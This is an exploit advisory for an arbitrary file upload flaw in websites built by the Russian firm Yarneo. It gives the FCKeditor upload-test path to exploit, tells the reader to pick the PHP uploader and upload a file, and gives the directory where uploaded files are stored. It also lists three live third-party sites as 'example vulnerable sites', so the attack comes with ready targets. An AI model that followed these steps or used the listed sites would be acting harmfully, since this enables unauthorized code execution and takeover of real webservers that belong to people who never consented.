Yarneo WebDesign Unauthorized File Insertion

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# Exploit Title : Yarneo WebDesign Unauthorized File Insertion
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 21/05/2019
# Vendor Homepage : yarneo.ru
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-264 [ Permissions, Privileges, and Access Controls ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

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# Description About Software :
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Yarneo is a Web Design and Development Company in Russia.

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# Impact :
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Yarneo is prone to a vulnerability that lets attackers upload arbitrary files because
it fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute
it in the context of the webserver process. This may facilitate unauthorized access
or privilege escalation; other attacks are also possible.

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# Arbitrary File Upload / Unauthorized File Insert Exploit :
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/fckeditor/editor/filemanager/connectors/uploadtest.html

Select the "File Uploader" to use : Choose PHP and upload your file.

Directory File Path :
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/pic/userfile/[YOURFILENAME].txt .jpg .gif .png

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# Example Vulnerable Sites :
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[+] xn--1-7sb3aeok0dwc.xn--p1ai/fckeditor/editor/filemanager/connectors/uploadtest.html

[+] xn--l1adfni2d.xn--p1ai/fckeditor/editor/filemanager/connectors/uploadtest.html

[+] xn--90auhhdlh4g.xn--p1ai/fckeditor/editor/filemanager/connectors/uploadtest.html

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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